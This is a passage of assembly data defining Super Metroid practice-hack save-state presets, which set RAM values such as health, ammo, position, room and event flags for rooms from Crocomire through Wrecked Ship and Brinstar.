dl $7E09C6 : db $02 : dw $0032 ; Missiles dl $7E09C8 : db $02 : dw $0032 ; Max missiles dl $7E09CA : db $02 : dw $0004 ; Supers dl $7E0AF6 : db $02 : dw $01BF ; Samus X dl $7E0AFA : db $02 : dw $008B ; Samus Y dl $7ED876 : db $02 : dw $1FB3 ; Events, Items, Doors dl $7ED91A : db $02 : dw $002F ; Events, Items, Doors dw #$FFFF .after preset_100early_upper_norfair_crocomire_escape: dw #preset_100early_upper_norfair_crocomire_revisit ; Upper Norfair: Crocomire Revisit dl $7E078D : db $02 : dw $93EA ; DDB dl $7E078F : db $02 : dw $0001 ; DoorOut Index dl $7E079B : db $02 : dw $A923 ; MDB dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0C00 ; Screen X position in pixels dl $7E0913 : db $02 : dw $4C00 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0021 ; Screen Y position in pixels dl $7E09CA : db $02 : dw $0005 ; Supers dl $7E0A1C : db $02 : dw $0002 ; Samus position/state dl $7E0A1E : db $02 : dw $0004 ; More position/state dl $7E0AF6 : db $02 : dw $0C89 ; Samus X dl $7E0AFA : db $02 : dw $00AB ; Samus Y dl $7ED8B8 : db $02 : dw $E6EF ; Events, Items, Doors dl $7ED91A : db $02 : dw $0030 ; Events, Items, Doors dw #$FFFF .after preset_100early_upper_norfair_business_center_return: dw #preset_100early_upper_norfair_crocomire_escape ; Upper Norfair: Crocomire Escape dl $7E078D : db $02 : dw $93AE ; DDB dl $7E079B : db $02 : dw $AA0E ; MDB dl $7E090F : db $02 : dw $D348 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels dl $7E0913 : db $02 : dw $1E80 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $017E ; Health dl $7E09C6 : db $02 : dw $0037 ; Missiles dl $7E09C8 : db $02 : dw $0037 ; Max missiles dl $7E09CA : db $02 : dw $0004 ; Supers dl $7E0AF6 : db $02 : dw $005A ; Samus X dl $7E0AFA : db $02 : dw $008B ; Samus Y dl $7ED876 : db $02 : dw $1FF3 ; Events, Items, Doors dl $7ED91A : db $02 : dw $0031 ; Events, Items, Doors dw #$FFFF .after preset_100early_red_tower_and_crateria_warehouse_elevator: dw #preset_100early_upper_norfair_business_center_return ; Upper Norfair: Business Center Return dl $7E078D : db $02 : dw $92EE ; DDB dl $7E078F : db $02 : dw $0004 ; DoorOut Index dl $7E079B : db $02 : dw $A6A1 ; MDB dl $7E079F : db $02 : dw $0001 ; Region dl $7E07C3 : db $02 : dw $A5AA ; GFX Pointers dl $7E07C5 : db $02 : dw $5FBC ; GFX Pointers dl $7E07C7 : db $02 : dw $C2B3 ; GFX Pointers dl $7E07F3 : db $02 : dw $0012 ; Music Bank dl $7E07F5 : db $02 : dw $0003 ; Music Track dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position dl $7E09C2 : db $02 : dw $01A6 ; Health dl $7E0A1C : db $02 : dw $009B ; Samus position/state dl $7E0A1E : db $02 : dw $0000 ; More position/state dl $7E0AF6 : db $02 : dw $0080 ; Samus X dl $7E0AFA : db $02 : dw $0086 ; Samus Y dw #$FFFF .after preset_100early_red_tower_and_crateria_red_tower_climb: dw #preset_100early_red_tower_and_crateria_warehouse_elevator ; Red Tower and Crateria: Warehouse Elevator dl $7E078D : db $02 : dw $910E ; DDB dl $7E078F : db $02 : dw $0000 ; DoorOut Index dl $7E079B : db $02 : dw $A3DD ; MDB dl $7E07F5 : db $02 : dw $0005 ; Music Track dl $7E090F : db $02 : dw $0801 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $6C00 ; Screen subpixel Y position dl $7E09C2 : db $02 : dw $0169 ; Health dl $7E09CA : db $02 : dw $0005 ; Supers dl $7E0A1C : db $02 : dw $0002 ; Samus position/state dl $7E0A1E : db $02 : dw $0004 ; More position/state dl $7E0AF6 : db $02 : dw $0025 ; Samus X dl $7E0AFA : db $02 : dw $009B ; Samus Y dw #$FFFF .after preset_100early_red_tower_and_crateria_hellway: dw #preset_100early_red_tower_and_crateria_red_tower_climb ; Red Tower and Crateria: Red Tower Climb dl $7E078D : db $02 : dw $90F6 ; DDB dl $7E079B : db $02 : dw $A253 ; MDB dl $7E090F : db $02 : dw $E000 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $1800 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0017 ; Screen Y position in pixels dl $7E0A1C : db $02 : dw $00A4 ; Samus position/state dl $7E0A1E : db $02 : dw $0008 ; More position/state dl $7E0AF6 : db $02 : dw $0095 ; Samus X dl $7E0AFA : db $02 : dw $008B ; Samus Y dw #$FFFF .after preset_100early_red_tower_and_crateria_alpha_power_bombs: dw #preset_100early_red_tower_and_crateria_hellway ; Red Tower and Crateria: Hellway dl $7E078D : db $02 : dw $908A ; DDB dl $7E078F : db $02 : dw $0001 ; DoorOut Index dl $7E079B : db $02 : dw $A322 ; MDB dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $071D ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $016D ; Health dl $7E09CA : db $02 : dw $0004 ; Supers dl $7E0A1C : db $02 : dw $0002 ; Samus position/state dl $7E0A1E : db $02 : dw $0004 ; More position/state dl $7E0AF6 : db $02 : dw $003D ; Samus X dl $7E0AFA : db $02 : dw $078B ; Samus Y dl $7ED8B6 : db $02 : dw $A008 ; Events, Items, Doors dw #$FFFF .after preset_100early_red_tower_and_crateria_elevator_room_ascent: dw #preset_100early_red_tower_and_crateria_alpha_power_bombs ; Red Tower and Crateria: Alpha Power Bombs dl $7E078D : db $02 : dw $9096 ; DDB dl $7E078F : db $02 : dw $0000 ; DoorOut Index dl $7E079B : db $02 : dw $A3AE ; MDB dl $7E07F5 : db $02 : dw $0003 ; Music Track dl $7E090F : db $02 : dw $3FFF ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0200 ; Screen X position in pixels dl $7E0913 : db $02 : dw $0400 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $0163 ; Health dl $7E09C6 : db $02 : dw $003C ; Missiles dl $7E09C8 : db $02 : dw $003C ; Max missiles dl $7E09CE : db $02 : dw $0008 ; Pbs dl $7E09D0 : db $02 : dw $000A ; Max pbs dl $7E0A1C : db $02 : dw $0001 ; Samus position/state dl $7E0A1E : db $02 : dw $0008 ; More position/state dl $7E0AF6 : db $02 : dw $02AE ; Samus X dl $7E0AFA : db $02 : dw $008B ; Samus Y dl $7ED874 : db $02 : dw $0F04 ; Events, Items, Doors dl $7ED91A : db $02 : dw $0033 ; Events, Items, Doors dw #$FFFF .after preset_100early_red_tower_and_crateria_beta_power_bombs: dw #preset_100early_red_tower_and_crateria_elevator_room_ascent ; Red Tower and Crateria: Elevator Room Ascent dl $7E078D : db $02 : dw $90EA ; DDB dl $7E079B : db $02 : dw $A322 ; MDB dl $7E07F5 : db $02 : dw $0005 ; Music Track dl $7E090F : db $02 : dw $E000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels dl $7E0913 : db $02 : dw $5400 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $02FB ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $0177 ; Health dl $7E0A1C : db $02 : dw $0002 ; Samus position/state dl $7E0A1E : db $02 : dw $0004 ; More position/state dl $7E0AF6 : db $02 : dw $0061 ; Samus X dl $7E0AFA : db $02 : dw $038B ; Samus Y dl $7ED8B6 : db $02 : dw $A808 ; Events, Items, Doors dw #$FFFF .after preset_100early_red_tower_and_crateria_crateria_kihunters: dw #preset_100early_red_tower_and_crateria_beta_power_bombs ; Red Tower and Crateria: Beta Power Bombs dl $7E078D : db $02 : dw $90BA ; DDB dl $7E078F : db $02 : dw $0002 ; DoorOut Index dl $7E079B : db $02 : dw $962A ; MDB dl $7E079F : db $02 : dw $0000 ; Region dl $7E07C3 : db $02 : dw $F911 ; GFX Pointers dl $7E07C5 : db $02 : dw $43BA ; GFX Pointers dl $7E07C7 : db $02 : dw $C2AF ; GFX Pointers dl $7E07F5 : db $02 : dw $0003 ; Music Track dl $7E090F : db $02 : dw $4000 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $016D ; Health dl $7E09CA : db $02 : dw $0005 ; Supers dl $7E09CE : db $02 : dw $000B ; Pbs dl $7E09D0 : db $02 : dw $000F ; Max pbs dl $7E0A1C : db $02 : dw $0001 ; Samus position/state dl $7E0A1E : db $02 : dw $0008 ; More position/state dl $7E0AF6 : db $02 : dw $006A ; Samus X dl $7E0AFA : db $02 : dw $005B ; Samus Y dl $7ED874 : db $02 : dw $0F84 ; Events, Items, Doors dl $7ED8B2 : db $02 : dw $2C01 ; Events, Items, Doors dl $7ED8B6 : db $02 : dw $E808 ; Events, Items, Doors dl $7ED91A : db $02 : dw $0034 ; Events, Items, Doors dw #$FFFF .after preset_100early_red_tower_and_crateria_oceanfly: dw #preset_100early_red_tower_and_crateria_crateria_kihunters ; Red Tower and Crateria: Crateria Kihunters dl $7E078D : db $02 : dw $8AF6 ; DDB dl $7E078F : db $02 : dw $0000 ; DoorOut Index dl $7E079B : db $02 : dw $948C ; MDB dl $7E07C3 : db $02 : dw $C629 ; GFX Pointers dl $7E07C5 : db $02 : dw $7CBA ; GFX Pointers dl $7E07C7 : db $02 : dw $C2AD ; GFX Pointers dl $7E07F5 : db $02 : dw $0005 ; Music Track dl $7E090F : db $02 : dw $E401 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $B800 ; Screen subpixel Y position dl $7E09CE : db $02 : dw $000A ; Pbs dl $7E0AF6 : db $02 : dw $0025 ; Samus X dl $7E0AFA : db $02 : dw $008B ; Samus Y dl $7ED8B0 : db $02 : dw $2000 ; Events, Items, Doors dw #$FFFF .after preset_100early_red_tower_and_crateria_the_moat: dw #preset_100early_red_tower_and_crateria_oceanfly ; Red Tower and Crateria: Oceanfly dl $7E090F : db $02 : dw $17FF ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0200 ; Screen X position in pixels dl $7E0913 : db $02 : dw $F400 ; Screen subpixel Y position dl $7E09C2 : db $02 : dw $0172 ; Health dl $7E0AF6 : db $02 : dw $02B1 ; Samus X dw #$FFFF .after preset_100early_red_tower_and_crateria_ocean_spark: dw #preset_100early_red_tower_and_crateria_the_moat ; Red Tower and Crateria: The Moat dl $7E078D : db $02 : dw $8A36 ; DDB dl $7E078F : db $02 : dw $0001 ; DoorOut Index dl $7E079B : db $02 : dw $95FF ; MDB dl $7E090F : db $02 : dw $8000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0100 ; Screen X position in pixels dl $7E0913 : db $02 : dw $6A80 ; Screen subpixel Y position dl $7E09C6 : db $02 : dw $0041 ; Missiles dl $7E09C8 : db $02 : dw $0041 ; Max missiles dl $7E0AF6 : db $02 : dw $01A2 ; Samus X dl $7ED870 : db $02 : dw $8190 ; Events, Items, Doors dl $7ED91A : db $02 : dw $0035 ; Events, Items, Doors dw #$FFFF .after preset_100early_wrecked_ship_enter_wrecked_ship: dw #preset_100early_red_tower_and_crateria_ocean_spark ; Red Tower and Crateria: Ocean Spark dl $7E078D : db $02 : dw $89D6 ; DDB dl $7E079B : db $02 : dw $CA08 ; MDB dl $7E079F : db $02 : dw $0003 ; Region dl $7E07C3 : db $02 : dw $AE9E ; GFX Pointers dl $7E07C5 : db $02 : dw $A6BB ; GFX Pointers dl $7E07C7 : db $02 : dw $C2B1 ; GFX Pointers dl $7E07F3 : db $02 : dw $0030 ; Music Bank dl $7E090F : db $02 : dw $6C80 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels dl $7E0913 : db $02 : dw $CC00 ; Screen subpixel Y position dl $7E09A6 : db $02 : dw $1001 ; Beams dl $7E09C2 : db $02 : dw $00F7 ; Health dl $7E09CA : db $02 : dw $0004 ; Supers dl $7E0AF6 : db $02 : dw $002B ; Samus X dl $7ED8B0 : db $02 : dw $3000 ; Events, Items, Doors dl $7ED91A : db $02 : dw $0038 ; Events, Items, Doors dw #$FFFF .after preset_100early_wrecked_ship_phantoon: dw #preset_100early_wrecked_ship_enter_wrecked_ship ; Wrecked Ship: Enter Wrecked Ship dl $7E078D : db $02 : dw $A21C ; DDB dl $7E078F : db $02 : dw $0003 ; DoorOut Index dl $7E079B : db $02 : dw $CC6F ; MDB dl $7E090F : db $02 : dw $93FF ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0400 ; Screen X position in pixels dl $7E0913 : db $02 : dw $2000 ; Screen subpixel Y position dl $7E09C6 : db $02 : dw $0046 ; Missiles dl $7E09C8 : db $02 : dw $0046 ; Max missiles dl $7E09CA : db $02 : dw $0002 ; Supers dl $7E09CE : db $02 : dw $0009 ; Pbs dl $7E0AF6 : db $02 : dw $04CE ; Samus X dl $7ED880 : db $02 : dw $0001 ; Events, Items, Doors dl $7ED8C0 : db $02 : dw $0030 ; Events, Items, Doors dl $7ED91A : db $02 : dw $0039 ; Events, Items, Doors dw #$FFFF .after preset_100early_wrecked_ship_leaving_phantoon: dw #preset_100early_wrecked_ship_phantoon ; Wrecked Ship: Phantoon dl $7E078D : db $02 : dw $A2AC ; DDB dl $7E078F : db $02 : dw $0002 ; DoorOut Index dl $7E079B : db $02 : dw $CD13 ; MDB dl $7E07F3 : db $02 : dw $0027 ; Music Bank dl $7E07F5 : db $02 : dw $0003 ; Music Track dl $7E090F : db $02 : dw $7000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels dl $7E0913 : db $02 : dw $3400 ; Screen subpixel Y position dl $7E09C2 : db $02 : dw $0160 ; Health dl $7E09CA : db $02 : dw $0004 ; Supers dl $7E09CE : db $02 : dw $0008 ; Pbs dl $7E0A1C : db $02 : dw $008A ; Samus position/state dl $7E0A1E : db $02 : dw $1504 ; More position/state dl $7E0AF6 : db $02 : dw $0025 ; Samus X dl $7E0AFA : db $02 : dw $00BB ; Samus Y dl $7ED82A : db $02 : dw $0102 ; Events, Items, Doors dl $7ED8C0 : db $02 : dw $0070 ; Events, Items, Doors dw #$FFFF .after preset_100early_wrecked_ship_west_supers: dw #preset_100early_wrecked_ship_leaving_phantoon ; Wrecked Ship: Leaving Phantoon dl $7E078D : db $02 : dw $A294 ; DDB dl $7E078F : db $02 : dw $0000 ; DoorOut Index dl $7E079B : db $02 : dw $CAF6 ; MDB dl $7E07C5 : db $02 : dw $E7BB ; GFX Pointers dl $7E07C7 : db $02 : dw $C2B0 ; GFX Pointers dl $7E07F3 : db $02 : dw $0030 ; Music Bank dl $7E07F5 : db $02 : dw $0006 ; Music Track dl $7E090F : db $02 : dw $E000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $04DD ; Screen X position in pixels dl $7E0913 : db $02 : dw $D800 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0600 ; Screen Y position in pixels dl $7E09CE : db $02 : dw $0007 ; Pbs dl $7E0A1C : db $02 : dw $0027 ; Samus position/state dl $7E0A1E : db $02 : dw $0508 ; More position/state dl $7E0AF6 : db $02 : dw $05B9 ; Samus X dl $7E0AFA : db $02 : dw $0690 ; Samus Y dl $7ED8C0 : db $02 : dw $0074 ; Events, Items, Doors dl $7ED91A : db $02 : dw $003A ; Events, Items, Doors dw #$FFFF .after preset_100early_wrecked_ship_leaving_east_supers: dw #preset_100early_wrecked_ship_west_supers ; Wrecked Ship: West Supers dl $7E078D : db $02 : dw $A210 ; DDB dl $7E078F : db $02 : dw $0002 ; DoorOut Index dl $7E079B : db $02 : dw $CDA8 ; MDB dl $7E090F : db $02 : dw $5000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels dl $7E0913 : db $02 : dw $AC00 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $012B ; Health dl $7E09C6 : db $02 : dw $0045 ; Missiles dl $7E09CA : db $02 : dw $000E ; Supers dl $7E09CC : db $02 : dw $000F ; Max supers dl $7E09CE : db $02 : dw $0006 ; Pbs dl $7E0A1C : db $02 : dw $0001 ; Samus position/state dl $7E0A1E : db $02 : dw $0008 ; More position/state dl $7E0AF6 : db $02 : dw $00C2 ; Samus X dl $7E0AFA : db $02 : dw $008B ; Samus Y dl $7ED880 : db $02 : dw $0061 ; Events, Items, Doors dl $7ED91A : db $02 : dw $003D ; Events, Items, Doors dw #$FFFF .after preset_100early_wrecked_ship_spiky_room_of_death: dw #preset_100early_wrecked_ship_leaving_east_supers ; Wrecked Ship: Leaving East Supers dl $7E078D : db $02 : dw $A2E8 ; DDB dl $7E078F : db $02 : dw $0000 ; DoorOut Index dl $7E079B : db $02 : dw $CAF6 ; MDB dl $7E090F : db $02 : dw $AC01 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0400 ; Screen X position in pixels dl $7E0913 : db $02 : dw $E000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0472 ; Screen Y position in pixels dl $7E0AF6 : db $02 : dw $042F ; Samus X dl $7E0AFA : db $02 : dw $04EB ; Samus Y dl $7ED91A : db $02 : dw $003E ; Events, Items, Doors dw #$FFFF .after preset_100early_wrecked_ship_wrecked_ship_etank: dw #preset_100early_wrecked_ship_spiky_room_of_death ; Wrecked Ship: Spiky Room of Death dl $7E078D : db $02 : dw $A258 ; DDB dl $7E079B : db $02 : dw $CBD5 ; MDB dl $7E090F : db $02 : dw $F400 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels dl $7E0913 : db $02 : dw $4C00 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0100 ; Screen Y position in pixels dl $7E0A1C : db $02 : dw $004E ; Samus position/state dl $7E0A1E : db $02 : dw $0204 ; More position/state dl $7E0AF6 : db $02 : dw $0079 ; Samus X dl $7E0AFA : db $02 : dw $016B ; Samus Y dw #$FFFF .after preset_100early_wrecked_ship_spiky_room_revisit: dw #preset_100early_wrecked_ship_wrecked_ship_etank ; Wrecked Ship: Wrecked Ship E-Tank dl $7E078D : db $02 : dw $A288 ; DDB dl $7E078F : db $02 : dw $0000 ; DoorOut Index dl $7E090F : db $02 : dw $C000 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $9000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $021F ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $0248 ; Health dl $7E09C4 : db $02 : dw $0257 ; Max helath dl $7E0AF6 : db $02 : dw $0025 ; Samus X dl $7E0AFA : db $02 : dw $02BB ; Samus Y dl $7ED880 : db $02 : dw $0071 ; Events, Items, Doors dl $7ED91A : db $02 : dw $003F ; Events, Items, Doors dw #$FFFF .after preset_100early_wrecked_ship_shaft_ascent: dw #preset_100early_wrecked_ship_spiky_room_revisit ; Wrecked Ship: Spiky Room Revisit dl $7E078D : db $02 : dw $A24C ; DDB dl $7E079B : db $02 : dw $CD5C ; MDB dl $7E090F : db $02 : dw $1000 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $C800 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $022A ; Health dl $7E0AF6 : db $02 : dw $0054 ; Samus X dl $7E0AFA : db $02 : dw $0090 ; Samus Y dw #$FFFF .after preset_100early_wrecked_ship_attic: dw #preset_100early_wrecked_ship_shaft_ascent ; Wrecked Ship: Shaft Ascent dl $7E078D : db $02 : dw $A2D0 ; DDB dl $7E079B : db $02 : dw $CAF6 ; MDB dl $7E090F : db $02 : dw $47FF ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0400 ; Screen X position in pixels dl $7E0913 : db $02 : dw $8400 ; Screen subpixel Y position dl $7E0AF6 : db $02 : dw $04B1 ; Samus X dl $7E0AFA : db $02 : dw $006B ; Samus Y dl $7ED91A : db $02 : dw $0040 ; Events, Items, Doors dw #$FFFF .after preset_100early_wrecked_ship_attic_missiles: dw #preset_100early_wrecked_ship_attic ; Wrecked Ship: Attic dl $7E078D : db $02 : dw $A228 ; DDB dl $7E078F : db $02 : dw $0004 ; DoorOut Index dl $7E079B : db $02 : dw $CA52 ; MDB dl $7E090F : db $02 : dw $6800 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0600 ; Screen X position in pixels dl $7E0913 : db $02 : dw $ABFE ; Screen subpixel Y position dl $7E0915 : db $02 : dw $001F ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $022E ; Health dl $7E09C6 : db $02 : dw $0045 ; Missiles dl $7E09CA : db $02 : dw $000B ; Supers dl $7E0A1C : db $02 : dw $0001 ; Samus position/state dl $7E0A1E : db $02 : dw $0008 ; More position/state dl $7E0AF6 : db $02 : dw $06CC ; Samus X dl $7E0AFA : db $02 : dw $008B ; Samus Y dl $7ED8C0 : db $02 : dw $0B7C ; Events, Items, Doors dw #$FFFF .after preset_100early_wrecked_ship_attic_revisit: dw #preset_100early_wrecked_ship_attic_missiles ; Wrecked Ship: Attic Missiles dl $7E078D : db $02 : dw $A1D4 ; DDB dl $7E078F : db $02 : dw $0001 ; DoorOut Index dl $7E079B : db $02 : dw $CAAE ; MDB dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $000A ; Screen X position in pixels dl $7E0913 : db $02 : dw $7800 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $020D ; Health dl $7E09C6 : db $02 : dw $003A ; Missiles dl $7E09C8 : db $02 : dw $004B ; Max missiles dl $7E0A1C : db $02 : dw $0002 ; Samus position/state dl $7E0A1E : db $02 : dw $0004 ; More position/state dl $7E0AF6 : db $02 : dw $00AA ; Samus X dl $7ED880 : db $02 : dw $0079 ; Events, Items, Doors dl $7ED91A : db $02 : dw $0041 ; Events, Items, Doors dw #$FFFF .after preset_100early_wrecked_ship_sky_missiles: dw #preset_100early_wrecked_ship_attic_revisit ; Wrecked Ship: Attic Revisit dl $7E078D : db $02 : dw $A1EC ; DDB dl $7E078F : db $02 : dw $0000 ; DoorOut Index dl $7E079B : db $02 : dw $CA52 ; MDB dl $7E090F : db $02 : dw $A000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels dl $7E0913 : db $02 : dw $03FE ; Screen subpixel Y position dl $7E0915 : db $02 : dw $001F ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $01DB ; Health dl $7E0AF6 : db $02 : dw $003E ; Samus X dw #$FFFF .after preset_100early_wrecked_ship_bowling_alley_path: dw #preset_100early_wrecked_ship_sky_missiles ; Wrecked Ship: Sky Missiles dl $7E078D : db $02 : dw $A1E0 ; DDB dl $7E078F : db $02 : dw $0002 ; DoorOut Index dl $7E079B : db $02 : dw $93FE ; MDB dl $7E079F : db $02 : dw $0000 ; Region dl $7E07C3 : db $02 : dw $C629 ; GFX Pointers dl $7E07C5 : db $02 : dw $7CBA ; GFX Pointers dl $7E07C7 : db $02 : dw $C2AD ; GFX Pointers dl $7E07F3 : db $02 : dw $000C ; Music Bank dl $7E07F5 : db $02 : dw $0005 ; Music Track dl $7E090F : db $02 : dw $F400 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0200 ; Screen X position in pixels dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0204 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $01EF ; Health dl $7E09C6 : db $02 : dw $0044 ; Missiles dl $7E09C8 : db $02 : dw $0055 ; Max missiles dl $7E09CA : db $02 : dw $000A ; Supers dl $7E0A1C : db $02 : dw $0001 ; Samus position/state dl $7E0A1E : db $02 : dw $0008 ; More position/state dl $7E0AF6 : db $02 : dw $02C0 ; Samus X dl $7E0AFA : db $02 : dw $028B ; Samus Y dl $7ED870 : db $02 : dw $819C ; Events, Items, Doors dl $7ED91A : db $02 : dw $0044 ; Events, Items, Doors dw #$FFFF .after preset_100early_wrecked_ship_bowling_alley: dw #preset_100early_wrecked_ship_bowling_alley_path ; Wrecked Ship: Bowling Alley Path dl $7E078D : db $02 : dw $89E2 ; DDB dl $7E079B : db $02 : dw $9461 ; MDB dl $7E090F : db $02 : dw $1F00 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $00F7 ; Screen X position in pixels dl $7E0913 : db $02 : dw $D000 ; Screen subpixel Y position dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels dl $7E09C2 : db $02 : dw $0212 ; Health dl $7E09CA : db $02 : dw $000B ; Supers dl $7E0AF6 : db $02 : dw $0170 ; Samus X dl $7E0AFA : db $02 : dw $009B ; Samus Y dw #$FFFF .after preset_100early_wrecked_ship_leaving_gravity: dw #preset_100early_wrecked_ship_bowling_alley ; Wrecked Ship: Bowling Alley dl $7E078D : db $02 : dw $A1A4 ; DDB dl $7E079B : db $02 : dw $CE40 ; MDB dl $7E079F : db $02 : dw $0003 ; Region dl $7E07C3 : db $02 : dw $AE9E ; GFX Pointers dl $7E07C5 : db $02 : dw $E7BB ; GFX Pointers dl $7E07C7 : db $02 : dw $C2B0 ; GFX Pointers dl $7E07F3 : db $02 : dw $0030 ; Music Bank dl $7E07F5 : db $02 : dw $0003 ; Music Track dl $7E090F : db $02 : dw $8000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels dl $7E0913 : db $02 : dw $6400 ; Screen subpixel Y position dl $7E09A2 : db $02 : dw $7125 ; Equipped Items dl $7E09A4 : db $02 : dw $7125 ; Collected Items dl $7E09C2 : db $02 : dw $0191 ; Health dl $7E09C6 : db $02 : dw $0049 ; Missiles dl $7E09C8 : db $02 : dw $005A ; Max missiles dl $7E09CE : db $02 : dw $0005 ; Pbs dl $7E09D4 : db $02 : dw $00C8 ; Max reserves dl $7E0A1C : db $02 : dw $009B ; Samus position/state dl $7E0A1E : db $02 : dw $0000 ; More position/state dl $7E0AF6 : db $02 : dw $0078 ; Samus X dl $7E0AFA : db $02 : dw $0088 ; Samus Y dl $7ED880 : db $02 : dw $00FF ; Events, Items, Doors dl $7ED91A : db $02 : dw $0047 ; Events, Items, Doors dw #$FFFF .after preset_100early_brinstar_cleanup_landing_site: dw #preset_100early_wrecked_ship_leaving_gravity ; Wrecked Ship: Leaving Gravity dl $7E078D : db $02 : dw $8ADE ; DDB dl $7E078F : db $02 : dw $0000 ; DoorOut Index dl $7E079B : db $02 : dw $948C ; MDB dl $7E079F : db $02 : dw $0000 ; Region dl $7E07C3 : db $02 : dw $C629 ; GFX Pointers dl $7E07C5 : db $02 : dw $7CBA ; GFX Pointers dl $7E07C7 : db $02 : dw $C2AD ; GFX Pointers dl $7E07F3 : db $02 : dw $000C ; Music Bank dl $7E07F5 : db $02 : dw $0005 ; Music Track dl $7E090F : db $02 : dw $4000 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $4800 ; Screen subpixel Y position dl $7E09C6 : db $02 : dw $004F ; Missiles dl $7E09C8 : db $02 : dw $005F ; Max missiles dl $7E0A1C : db $02 : dw $0002 ; Samus position/state dl $7E0A1E : db $02 : dw $0004 ; More position/state dl $7E0AF6 : db $02 : dw $005C ; Samus X dl $7E0AFA : db $02 : dw $009B ; Samus Y dl $7ED870 : db $02 : dw $819E ; Events, Items, Doors dl $7ED91A : db $02 : dw $004B ; Events, Items, Doors dw #$FFFF .after preset_100early_brinstar_cleanup_gauntlet_spark: dw #preset_100early_brinstar_cleanup_landing_site ; Brinstar Cleanup: Landing Site dl $7E078D : db $02 : dw $893A ; DDB dl $7E078F : db $02 : dw $0003 ; DoorOut Index dl $7E079B : db $02 : dw $93AA ; MDB dl $7E090F : db $02 : dw $5001 ; Screen subpixel X position. dl $7E0913 : db $02 : dw $2000 ; Screen subpixel Y position dl $7E09C2 : db $02 : dw $00EF ; Health dl $7E09C6 : db $02 : dw $004C ; Missiles dl $7E09CE : db $02 : dw $000B ; Pbs dl $7E09D0 : db $02 : dw $0014 ; Max pbs dl $7E0AF6 : db $02 : dw $0052 ; Samus X dl $7E0AFA : db $02 : dw $008B ; Samus Y dl $7ED870 : db $02 : dw $819F ; Events, Items, Doors dl $7ED8B0 : db $02 : dw $3002 ; Events, Items, Doors dl $7ED91A : db $02 : dw $004C ; Events, Items, Doors dw #$FFFF .after preset_100early_brinstar_cleanup_gauntlet_etank: dw #preset_100early_brinstar_cleanup_gauntlet_spark ; Brinstar Cleanup: Gauntlet Spark dl $7E078D : db $02 : dw $892E ; DDB dl $7E078F : db $02 : dw $0002 ; DoorOut Index dl $7E079B : db $02 : dw $92B3 ; MDB dl $7E07F3 : db $02 : dw $0009 ; Music Bank dl $7E090F : db $02 : dw $8000 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $001C ; Screen X position in pixels dl $7E0913 : db $02 : dw $E800 ; Screen subpixel Y position dl $7E09C2 : db $02 : dw $001D ; Health dl $7E0AF6 : db $02 : dw $0080 ; Samus X dw #$FFFF .after preset_100early_brinstar_cleanup_leaving_gauntlet: dw #preset_100early_brinstar_cleanup_gauntlet_etank ; Brinstar Cleanup: Gauntlet E-Tank dl $7E078D : db $02 : dw $8952 ; DDB dl $7E078F : db $02 : dw $0001 ; DoorOut Index dl $7E079B : db $02 : dw $965B ; MDB dl $7E090F : db $02 : dw $E400 ; Screen subpixel X position. dl $7E0911 : db $02 : dw $0000 ; 